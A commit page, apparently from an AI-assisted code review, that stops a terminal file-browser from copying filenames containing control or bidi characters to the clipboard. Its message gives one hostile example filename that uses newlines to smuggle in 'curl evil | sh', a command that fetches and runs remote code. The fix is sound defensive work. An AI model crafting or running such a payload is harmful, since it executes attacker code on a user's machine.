AI codebase review

fix: refuse to copy paths containing control or bidi characters

The copy-path action put raw filenames on the clipboard via OSC 52. A
hostile name such as "x\ncurl evil | sh\n" (from a shared directory or
a crafted snapshot) executes commands when pasted into a shell without
bracketed paste. Paths that Sanitize would alter are no longer copied.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This commit is contained in:
Andy Dixon
2026-10-02 10:58:56 +01:00
co-authored by Claude Opus 5.5
parent 3ec5bd7e65
commit 1f9429ea74
3 changed files with 30 additions and 4 deletions
+1 -2
View File
@@ -165,8 +165,7 @@ func fmtTime(ns int64) string { return time.Unix(0, ns).Format("2006-01-02 15:04
func (md *infoModal) key(m *Model, k string) (bool, tea.Cmd) {
switch k {
case "c":
p := m.tree.Path(md.id)
return false, tea.Batch(tea.SetClipboard(p), m.info("Copied path to clipboard"))
return false, m.copyPath(m.tree.Path(md.id))
case "o":
m.sel = int64(md.id)
return false, m.reveal()